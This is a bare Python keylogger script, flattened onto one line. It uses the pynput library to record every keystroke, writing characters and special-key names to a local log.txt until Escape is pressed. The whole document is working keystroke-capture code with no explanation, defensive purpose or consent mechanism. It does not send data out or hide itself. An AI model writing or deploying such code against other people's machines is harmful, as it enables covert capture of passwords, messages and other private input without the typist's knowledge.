import pynput.keyboard def on_press(key): """Function to be called when a key is pressed.""" try: # Get the character representation of the key char = key.char # Log the character to the file with open("log.txt", "a") as f: f.write(char) except AttributeError: # Handle special keys (e.g., Space, Enter, Shift) special_key = str(key) # Log the name of the special key with open("log.txt", "a") as f: f.write(f" {special_key} ") def on_release(key): """Function to be called when a key is released.""" # Stop the listener if the Escape key is pressed if key == pynput.keyboard.Key.esc: return False # Create a keyboard listener with pynput.keyboard.Listener( on_press=on_press, on_release=on_release) as listener: # Start the listener and join it to the main thread listener.join() print("Keylogger stopped.")